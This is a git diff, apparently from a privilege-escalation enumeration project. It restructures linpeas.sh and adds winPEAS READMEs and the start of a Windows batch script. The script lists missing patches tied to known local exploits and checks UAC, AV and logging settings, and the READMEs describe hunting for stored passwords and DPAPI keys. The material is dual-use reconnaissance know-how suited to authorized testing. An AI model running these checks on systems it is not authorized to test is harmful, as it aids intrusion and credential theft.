zTfFt^-Q)Qu%51P>Mjr(b$pJ~aEs-QO5fJ|k#oSY!nKJumuyw@%Fn-ka6%-0=ZY@+g z5NHxYT%g;ChgmV}cp$P7m$z;zJmmI@(StJisKZ8Yo@|GB!U;ho#)ucD7Rp5(i z8~d=s)4)<&4GrH1Dm~eejJU4G=j`UZA8W5t;%a3<;3@BGU6Yr6=@}YD;~iHoD}tB)_9c$ zMg4Y@sU|t;8O5)$6EqYIZ89$LLJ$@)%38=Gc$V3^Dj6BASH1J$oo98K{xVw0ya@pK z3DNAuA)@2-#aGNQ!%M~S)E{{%af`ash0)t<7xW#7J9BCW2qfMx8z_OEicCc zz6~kdIl1M#uGj|_fy;rFd0T0$VZgxFLP!@;8RyNA&j2+#^#REZVy?I;jYRs8@(}Y> z1DqGI5M3^23f-`*t3(figgmikiTuA@D+O@wY#;#?_r?WX#@qATPX}#XycozWznl5+ zpuPA=q^S?&h1ES5iYM+Of`T-*CO%J9a0GwQjHJNRhX}w{b?R9R}GTG^Z_NF3-Ysx`88b^AYA5I@pgJPr*din;8y;=W6e(}i8*QABtCXvUwaS| ztjjrUoUQALSc=B%KhlO{dyyQMFZ7E`G{2}nZQq-0aiBl!PTzN}T6Jz>J^6=tKZF@* zdWy@(t#jf5y;B5VNxn;Cn=+Fq2jPUrMq0HjFHvUpVr_0LEIis)5!UnZerZvIv*AK8e%!53~!*m^K8N3tWOpAd(pgjtk7 zwj`*wGOHu0(0PZx9IKojHohp(xpAlCkv9>03}X4P5YKao`|Xh7@<9_5VCnEi7J@+t zoC>K26E9nBmU&D8dudI!MVLsw6~w>}q-4m*ZrXkjs3G<7248`_xrc`efk15Io>miJ z;+mlkRc1@U)f4Uiov_S#;xsnP#kQ3$B==fn{xH?VcMo3^yuXpkGp=s0qf*G9be_G^ zmv#71!|wvWdHBZ;6V1b1ve~H2b86)Ea|grgZ&h&RES|c}l6|Jbn%MCc?U9?ZZ?q~Y zH{Wiixb||O4l5x**rL={c|hXVn+u?k^K?Y#91BoU@|f7SLDB!&^hxa;%#=9B?#6^u zfv`I0D7!T;eBUOKff*QstL zNqJRsLs`Von=#XKUpfIvjni%wMC{hE`^`yyOoBIPB`+ALzm(tX!1Ll$!BOqX&Cs|7 zPwbW@*l|<}==m4;SOYKq#vW7&uD&du6-@k8;n^y~RdKsdRLXlWqL~*Dfr_bML7)t2 zA3T4^YWV1Hxu5(hJY2Y)eyK8D zOl1U~GfzEq$mcrg`hh;jexru&_0CQuwegEESkr0pd2xD&5m!AVl#*d;BD>TLOfBMI z<2$o5P`K4L@#-3q&&ohOowHJ3n`eam|A#aqIQYoCwialPq-Ni8O|kdIxL2-a&RFaEJu_+yIlFc8j^CQ>_dptCyw@l2%S7rZ@J6V`hIBVNB}>bFM71T>cjKpDZZCXT4#Qf-g-?NQ+AYN;l8*~*9Si!yVc9JgYxi}J1FsiFcfC_~u( z394+DP92;8GqmY)z{V2*d-54T;|v))qyq8FE^(RN?cfg|?U`9|3u4A^A-x4+dWig&<3Xe;Mp_rp!rVS}Au<)G?&d5Wx z-NKpRUGixR-N>w9=;r8KHF+FBU!}r%Q2BajrIWH;lOrp9!Q1@-;}#Xt@(+t9#S``D zqBB0Wgz`+lMMc{MCaA8)O}CXtIIB<}7w_lt#@w%XI{g%HoZYJ7(G%TKKKXdm&fdlk zA#o0B@pRog_fG@$zjKk(Z56$#xFyIWEjm%3i?0KZTj{nBfV+4#T*rSYv6a3p z`B+RqBfu&ASD#Zw4VicsznV7&U;;=w8x~@Rx?kR1#*~NcYb+Os)K;ibns|gjHzrA` zI-Z4kfBC@6+SdH>CDp6u!qz6<`4BQNac@64Bx~~IFHXry@*g#V3WeVbr+8z!@*WUy zl&~XBh{hdgawxkT_zfvvH;aNZQn_S7&sfw)13TLDrIlsi3}!e{0`E2Ww|8jhJ}Xrd z^3g|$LmN!JLb=OXQfF~0l6bh7J_J`Q>4)H!XFo~+gz+XIx2*J#LN7WcHi?iA$dHKG zMV-l`d0!(qNG1$@jV5Vss<;@t{-j9SQrIr;`}R0#>e;?ea-QWW1VpBuW}XwJ48h9x zgXl9~vKk2en!gq_^DaXD%p#%lm3y{o^v=K9Y@ql3Me^<9p_J*O;>sBL_|O%hxO@n? z`7JGoK55+}5E%4%Z7o^xt};1m17rVN{9LP=o}uqKz6xZ>g(o?mM1-Xp7!y&Dr;xj! z@+?jJYAHjS;_pv#pIa3*7k%J~U{qk9cRpBE93k9oVi8d-qvxvd7Y-CINXD1$uOIwc zV9)DLp(h4|o3?bxM7`19bKWbRcJZwD=G>5UxBPKSsVDKavw+)1=J`>PYPP%PEL^W~ z0K0P`rb+|~BvN1`F{~8tq|zY;!%%2Whb-$$Hi%RB-(-`Se{}m0hD>gs{6?pUdLi~B z58JCs%l!q;Br^?{8J3YyLF+emBsFBS0-U)#;vUmvxAl$8T0H#OVD~T_coG#LDB~V@)Q*@ZHuRh_K#u*TcStqLjl}Xp#)SU~X)_QWMRykBKg|?nK%|c^}y8~n- z#?E%%#xYUSb8>ig#0aK-#}d{;p*{IfF(kPRknv%d^LZ7%!%@9%H>TLM@^pU+{G65| z;-$o6&!dpc^Qi`3ycFw=#c~hEM8t|6RMc}UVc)+|C!B-3V0XMEFeYhw0n&Fj+LV9R z*?B0%Z0|8Zf(VsM#YZzUd#(Hz7t8y~Q1#oVn;XPp0W`L1=@-f}`hP*22#kcBC~XSm zh|A344&icu&BE`CBDn`iLbUaV!YEBy4a{S)y)TjnEx`&5NN35FR&<)^n>wz5aw#EY zw`n2ke!U*s8K1{4K2uVi#`-QhN^Ip>I@KaF8<*)W`(op0-&y`df8gYArmez;A*ZPy zitI5E9FWKAHXeMO)!CwTG;ddSWRCLPP`v#&8iC7P9tj!Wy6pINQRjI2(trnN>hNCZ zdGgykXp83KgV^|E%*GvyvFrI#yxPgpo* zSW3q4E(6~N{krph;08|lJ%yuSCP5eaNxUoR`{!8o@S1CdlK&u~4l#`+wkQ~2q^0CY zGX36Ik4G)$8UW1KNZFtEm#wU$9q3&u_1+hbUg+)3_`IkOb4St_yW}@3fZ~Xl&alR8 z)SOgD`A+~o=422J*uW?P`Cx0PkEg(3Z6`7|OR6J#CNkhoucd7Z()0H%|FWNDLVlpg z2SW~cs|eYwH3E(a(g_^54+nXK6&4mNGob(?1!LcKQC8sZ;EGkKDksIrA4*Q$++ipX;wWXQ`a2MAIO%JE$jm4bVYlL)Kbwjtgy>u$#>1Z8b*b^ zl6w({1%6%$UWp7)AcL+)zJ+g(a9-$`4I8wga47Fw$Jc3jJYWuVy1%Zh!jL7{AytT4 z)n8oyc3Ja|#&svpVKqNUHE1twa&=#Ho}}ruH;?tWCD4h`q7_duXseCW4S%dAl2-i= z+h9?ik$#{yh!Ao%S%#+r({4&)CqdjNRt)3B3(Hi!NO@ZXkHb>ACOi0sl9r`ld2^-K z@E0Uil>LUJrKkyfY=dZeB&t@Ab2y{#zIZPB!xdrF!mWxO1DUrAAIsNM^Es{hx0H~W zcgS0)@<|JJA7`<&diw^7SKIBq0y(CWS!cYC!xM`H69nkq7J&O2if>U8R|IK9@BueA z49}FF`~;3dr^{$Q+++UYiH*FDKYN%f}Z}pougFwt{U5`-Nti+xenR2BxsYP+#?K3{f|rY za$g@0aZk+bW!)}8`}MT?vb^+cD44h++o5m34EGN%=`8wl#c~(G0 zsH`D}-BTi3*B2#Ms+SLguPctfm^Q+0Fs3MiI%Il8&^S}JZl#Lh-1r~T$o=Lgu4}gu zJCQP3WhAd{Dnlvp5x0Cy8(SqngYJn!`4kab|d7fJYzCMUg;9Ot1U84|XP@!KGDZOtA^e65rJxq1>16WLmBx2@dBpuG9RZ9rclY~dhU>Xu3cZcpnTdy1c=8z1)( z7AoHC=N@i9F4FPzu!L|AuIxXStiUMI8r68Myz?W|RCLVQnOpRgfkCSV^75_w>G|py zv5}7dRzoEfWAk^yXH_niPvZXeIXPbc;&ZHkpa410`ao0BfEu0Ri_PiK9}vw}BkwxD zJ?G7S9_#SWY1ckE;_B#eM}5HDDb4186FJ6I`9Xg?j!^#J9*4GF_QF)`pYYRYi-DiA z{?}r+N5DZ!1*qR02RPSEO~$qOPIa%sGb+vH5mWA}H<`)xs#!^bp)qAbCBhU8KEy<% zSd^JY@*{aJ3(gT`DMHO)+=7G#B3JE$V@%`=M~AsoTn1tZ_Z5YRu}>P(pQmfNwQ7)~UN#9t>RmlZaL} z|AUCwd;YuLK}0sdCHtLcom%4wS1DKxNFF6P<&oA?LPtmz^)Rh(J?1}1gqLFi31yF) zk`IBHbNm_rGwN$^opPu}Wq(^8i$ybi!M1UbAma#?;UH(Y0rW#145_e*s=PKWx&}@M zjT#HV(CMD!ke!U)+Ta@Zi^u|BXg!#7)auxIhdDZ0Tjeh%Dv=&n3H)~^8Wm(*yr*kI z?T@p-WdB)5P|Glhq5#cHo!(SNLGeh`ZnM5TQ zBczL+umiQh3qkiYu<^hNl*{Leq7}v1Hik5_*=hJ)THx4QCyz=}W$#sA*bUb}f@yjl zdfMNQdrcra#P!GOOowg|j3s@3gV4BDskv|{X;%0{9RI=o0LG*`OH)mHP=_|D2P%K9 z+Lr@a8@UI&UlGzUT0b;)RkRx&6ScVwf!a@ce?HE_*$!I!TBp6T_Pgu;;z(0QZ7_)$ z$iLKK9skXAJd2GvD~6Xr?(LVmw8!pI(W|*Lp)~&z^;H~#ru$QpVxM%(z{)zX?DbZ^ zV%qKjv-$Ni?H-^_obnt<4*%GZ;&phqC&2|S;?DjL|FTee#1(I7Qu_$~r^14!s3`&B~PBmc6yZ7L(bfy+Z-R=5lEDGL#uha~#}1E4;aOVrGJzl~vXJ$gub6;LO-zf6#9gteM;rUp#s*cq` zFaY#xaZ*SGMlfZ|RLMsW>zUerQRtkou=AWm00d!oG7F!y@ppf;fn}`;G=)5!?I^B0 z6NcY3Q?&!c)`#=%;>+xy30o6BF3$FC4iWu@Q8)>RKNMwYMOm#IQs=4`0i{A{>n54E zkVj7ZCq;c=o^6(GVuhiedO6@4ez7He%E%-T_5PBgts#T-31$LGfetnUS49hX)*x?& zo1x)>rEW7hJQj<$NdA^WUEK}YUq!ZL9T&n+SAd>c0iY%@iqWH_fM2|CS7w^fQ2sXO zsH`0gOoD_IDOxPzNwnd+rrN_TLBu;bg1MEPcrl~pK8%1v3-D}4Na-J9G!$1~emrsv ztzPH|iB}pj2q?em5S^lyNSam%5>ij5V#68M5*1E@>zUsw3(v8+*&;PaT#N%|REaPW zYQ&Z;X|V#+LSA&aFPhLS6TNlDly!d~*LKZiSB#=KDsS;i!GV7jNb73G0) z;<&xiy|_{m=RB`{RtlD~wozM75^EaoH^FiW3l8)xkhEW4G%X<-vJ)+O2a+oEHY-i~ zVlp5=)qXhn-L)xa%;W_k5p?O}iS?_}(`||RIax6{k(P*tF)I)e7JCWYs9|r&w@&jx zO7KMl-%VJvhN04qp0B2im$?iwW=W-|e9!IrKTwI)Y!lBmsB!dcEOff6YR_I4fXm9$ zYWhAN5a58PKdQ{W^P?@u8_xwHOIyq`LX@3xV7q|->__F2`cG_8g&{N;Yi)22kBHXE zi4*9kK=k!#AU~t`8`%I<4mj-Auc)ElDMPSb1af-vmP=?ZsVG#(?wM7i3}w?}kb2~P zcGLCeT2$5W<&Z|Hcr@jaBo*d(TRe}fXJZ7}FxKq+V-3g20e#bB;JSfItlaFkC~ z>-YQ|fQh!GfOPV%4?&!kCe}~ncz{{yrfBpXjIOh986o^a0EAG1ssyZ&rwyJ{T#UxJ z1!NYWvGGs)Z*mr}?Bf9SCE715ZO{iMoz6lr3uDi9=Kc>*k~u*=B!*|P-?l9KfEoCJ zd1zzjM)>f2-g=?D+@JK2T<%g*kT8D${Rarp%iViF9v?#e8Ag z8?UYsxaB73vr=1!{RBU|zdliLf<2r?-1o~UdBa_2*i-$%ba(&wL}E$XeG>rHiB zyC`AwgsjqRL9(%y=T#b}T2#sX+nFsMS0q2$w)&SnEAQutC!K!U+H`avAWp&^tSC}E wvZ6+%6aB+sr5OD04(os1VxHNtcJ5!Afd9!P>BAvr!XrRQ{;^!SjA`J10cTtDbpQYW literal 0 HcmV?d00001 diff --git a/linpeas.sh b/linPEAS/linpeas.sh similarity index 99% rename from linpeas.sh rename to linPEAS/linpeas.sh index 15635ea..c452cad 100755 --- a/linpeas.sh +++ b/linPEAS/linpeas.sh @@ -203,8 +203,8 @@ HELP=$GREEN"Enumerate and search Privilege Escalation vectors.\n\ $Y\t-s$B SuperFast (don't check 1min of processes and other time consuming checks bypassed)\n\ $Y\t-n$B Do not export env variables related with history\n\ $Y\t-d $B Discover hosts using fping or ping.$DG Ex: -d 192.168.0.1/24 - $Y\t-p -d $B Discover hosts looking for tcp open ports (via nc). By default ports 80,443,445,3389 will be checked but you have to add another one to indicate you want to discover using TCP (you can select 22 if you don't want to add more). You can also indicate a list of ports to add.$DG Ex: -d 192.168.0.1/24 -p 53,139 - $Y\t-i [-p ]$B Scan an IP using nc. If you don't select ports top1000 of nmap will be scanned but if you wish, you can select a list of ports (and only those will be scanned).$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080" + $Y\t-p -d $B Discover hosts looking for TCP open ports (via nc). By default ports 80,443,445,3389 and another one indicated by you will be scanned (select 22 if you don't want to add more). You can also add a list of ports.$DG Ex: -d 192.168.0.1/24 -p 53,139 + $Y\t-i [-p ]$B Scan an IP using nc. By default (no -p), top1000 of nmap will be scanned, but you can select a list of ports instead.$DG Ex: -i 127.0.0.1 -p 53,80,443,8000,8080" while getopts "h?fsd:p:i:" opt; do case "$opt" in @@ -414,7 +414,6 @@ echo "Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts) " | s echo "LightMangenta: Your username" | sed "s,LightMangenta,${C}[1;95m&${C}[0m," if [ "$(/usr/bin/id -u)" -eq "0" ]; then echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${C}[1;31;103m&${C}[0m," - sleep 3 2>/dev/null fi echo "" echo "" @@ -444,13 +443,8 @@ if [ "$SCAN_BAN_GOOD" ]; then else printf $RED"[-] $SCAN_BAN_BAD\n"$NC fi -<<<<<<< HEAD -if [ "`which nmap`" ];then - NMAP_GOOD=$GREEN"nmap$B is available for network discover & port scanning, use it yourself" -======= if [ "`which nmap 2>/dev/null`" ];then NMAP_GOOD=$GREEN"nmap$B is available for network discover & port scanning, you use use it yourself" ->>>>>>> fc361b128caf52e0a3b243379cacfee3d358e45c printf $Y"[+] $NMAP_GOOD\n"$NC fi echo "" diff --git a/winPEAS/README.md b/winPEAS/README.md new file mode 100755 index 0000000..9af91b8 --- /dev/null +++ b/winPEAS/README.md @@ -0,0 +1,13 @@ +# Windows Privilege Escalation Awsome Scripts + +Check the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) + +Check more **information about how to exploit** found misconfigurations in [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation) + +## WinPEAS .exe and .bat +- [Link to WinPEAS C# project (.exe)](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/winpeas/winpeasexe) +- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/winpeas/winpeasbat) Notice that WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) + +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. \ No newline at end of file diff --git a/winPEAS/winPEASbat/README.md b/winPEAS/winPEASbat/README.md new file mode 100755 index 0000000..ee97064 --- /dev/null +++ b/winPEAS/winPEASbat/README.md @@ -0,0 +1,129 @@ +# Windows Privilege Escalation Awsome Script (.bat) + +**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)** + +Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation) + +### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required) + +Unfortunately this script **does not support colors** so you will need to know what are you looking for in each test and, also, you will have to know how to learn the icacls output, see below. + +## Windows PE using CMD (.bat) + +If you want to search for files and registry that could contain passwords, set to *yes* the *long* variable at the beginning of the script. + +The script will use acceschk.exe if it is available (with that name). But it is not necessary, it also uses wmic + icacls. + +Some of the tests in this script were extracted from **[here](https://github.com/enjoiz/Privesc/blob/master/privesc.bat)** and from **[here](https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)** + + +### Main checks + +

+ Details + +- [x] Systeminfo --SO version and patches-- (windows suggester) +- [x] Common known exploits (2K, XP, 2K3, 2K8, Vista, 7) +- [x] Audit Settings +- [x] WEF Settings +- [x] LAPS installed? +- [x] UAC Settings +- [x] AV? +- [x] PS Settings +- [x] Mounted disks +- [x] SCCM installed? +- [x] Remote Desktop Credentials Manager? +- [x] WSUS Settings +- [x] Processes list +- [x] Interesting file permissions of binaries being executed +- [x] Interesting file permissions of binaries run at startup +- [x] AlwaysInstallElevated? +- [x] Network info (see below) +- [x] Users info (see below) +- [x] Current user privileges +- [x] Service binary permissions +- [x] Check if permissions to modify any service registy +- [x] Unquoted Service paths +- [x] DLL Hijacking in PATH +- [x] Windows Vault +- [x] DPAPI Master Keys +- [x] AppCmd.exe? +- [x] Search for known registry to have passwords inside +- [x] Search for known files to have passwords inside (can take some minutes) +- [x] If *long*, search files with passwords inside +- [x] If *long*, search registry with passwords inside + +### More enumeration + +- [x] Date & Time +- [x] Env +- [x] Installed Software +- [x] Running Processes +- [x] Current Shares +- [x] Network Interfaces +- [x] Used Ports +- [x] Firewall +- [x] ARP +- [x] Routes +- [x] Hosts +- [x] Cached DNS +- [x] Info about current user (PRIVILEGES) +- [x] List groups (info about administrators) +- [x] Current logon users + +
+ +### Understanding icacls permissions + +Icacls is the program used to check the rights that groups and users have in a file or folder. + +Iclals is the main binary used here to check permissions. + +Its output is not intuitive so if you are not familiar with the command, continue reading. Take into account that in XP you need administrators rights to use icacls (for this OS is very recommended to upload sysinternals accesschk.exe to enumerate rights). + +**Interesting permissions** + +``` +D - Delete access +F - Full access (Edit_Permissions+Create+Delete+Read+Write) +N - No access +M - Modify access (Create+Delete+Read+Write) +RX - Read and eXecute access +R - Read-only access +W - Write-only access +``` + +We will focus in **F** (full), **M** (Modify access) and **W** (write). + +**Use of Icacls by WinPEAS** + +When checking rights of a file or a folder the script search for the strings: *(F)* or *(M)* or *(W)* and the string ":\" (so the path of the file being checked will appear inside the output). + +It also checks that the found right (F, M or W) can be exploited by the current user. + +A typical output where you dont have any nice access is: +``` +C:\Windows\Explorer.EXE NT SERVICE\TrustedInstaller:(F) +``` + +An output where you have some interesting privilege will be like: +``` +C:\Users\john\Desktop\desktop.ini NT AUTHORITY\SYSTEM:(I)(F) + MYDOMAIN\john:(I)(F) +``` + +Here you can see that the privileges of user *NT AUTHORITY\SYSTEM* appears in the output because it is in the same line as the path of the binary. However, in the next line, you can see that our user (john) has full privileges in that file. + +This is the kind of outpuf that you have to look for when usnig the winPEAS.bat script. + +[More info about icacls here](https://ss64.com/nt/icacls.html) + +## Do not fork it!! + +If you want to **add something** and have **any cool idea** related to this project, please let me know it using the [github issues](https://github.com/carlospolop/privilege-escalation-awsome-scripts-suite/issues) and we will update the master version. + +## License + +MIT License + +By Polop(TM) diff --git a/winPEAS/winPEASbat/winPEAS.bat b/winPEAS/winPEASbat/winPEAS.bat new file mode 100755 index 0000000..286c283 --- /dev/null +++ b/winPEAS/winPEASbat/winPEAS.bat @@ -0,0 +1,383 @@ +@echo off + +set long=no + +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [*] BASIC SYSTEM INFO ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WINDOWS OS ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check for vulnerabilities for the OS version with the applied patches +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits +systeminfo +echo. +wmic qfe get Caption,Description,HotFixID,InstalledOn | more +echo. +echo. +set expl=no +for /f "tokens=3-9" %%a in ('systeminfo') do (echo "%%a %%b %%c %%d %%e %%f %%g" | findstr /i "2000 XP 2003 2008 vista" && set expl=yes) & (echo "%%a %%b %%c %%d %%e %%f %%g" | findstr /i /C:"windows 7" && set expl=yes) +IF "%expl%" == "yes" echo [i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2592799" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS11-080 patch is NOT installed! (Vulns: XP/SP3,2K3/SP3-afd.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3143141" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS16-032 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2393802" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS11-011 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB982799" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-59 patch is NOT installed! (Vulns: 2K8,Vista,7/SP0-Chimichurri) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB979683" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-21 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2305420" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-092 patch is NOT installed! (Vulns: 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB981957" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-073 patch is NOT installed! (Vulns: XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4013081" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS17-017 patch is NOT installed! (Vulns: 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB977165" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS10-015 patch is NOT installed! (Vulns: 2K,XP,2K3,2K8,Vista,7-User Mode to Ring) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB941693" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS08-025 patch is NOT installed! (Vulns: 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB920958" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS06-049 patch is NOT installed! (Vulns: 2K/SP4-ZwQuerySysInfo) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB914389" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS06-030 patch is NOT installed! (Vulns: 2K,XP/SP2-Mrxsmb.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB908523" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS05-055 patch is NOT installed! (Vulns: 2K/SP4-APC Data-Free) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB890859" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS05-018 patch is NOT installed! (Vulns: 2K/SP3/4,XP/SP1/2-CSRSS) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB842526" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS04-019 patch is NOT installed! (Vulns: 2K/SP2/3/4-Utility Manager) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB835732" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS04-011 patch is NOT installed! (Vulns: 2K/SP2/3/4,XP/SP0/1-LSASS service BoF) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB841872" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS04-020 patch is NOT installed! (Vulns: 2K/SP4-POSIX) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2975684" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS14-040 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3136041" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS16-016 patch is NOT installed! (Vulns: 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB3057191" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS15-051 patch is NOT installed! (Vulns: 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2989935" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS14-070 patch is NOT installed! (Vulns: 2K3/SP2-TCP/IP) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2778930" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS13-005 patch is NOT installed! (Vulns: Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2850851" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS13-053 patch is NOT installed! (Vulns: 7SP0/SP1_x86-schlamperei) +IF "%expl%" == "yes" wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB2870008" 1>NUL +IF "%expl%" == "yes" IF errorlevel 1 echo MS13-081 patch is NOT installed! (Vulns: 7SP0/SP1_x86-track_popup_menu) +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] DATE and TIME ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] You may need to adjust your local date/time to exploit some vulnerability +date /T +time /T +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Audit Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check what is being logged +REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] WEF Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check where are being sent the logs +REG QUERY HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] LAPS installed? ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] Check what is being logged +REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] UAC Settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on +echo [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access +REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] Registered Anti-Virus(AV) ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List | more +echo. +echo. +echo _-_-_-_-_-_-_-_-_-_-_-_-_-_-_-^> [+] PS settings ^<_-_-_-_-_-_-_-_-_-_-_-_-_-_-_- +echo PowerShell v2 Version: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine /v PowerShellVersion +echo PowerShell v5 Version: +REG QUERY HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\3\PowerShellEngine /v PowerShellVersion +echo Transcriptions Settings: +REG QUERY 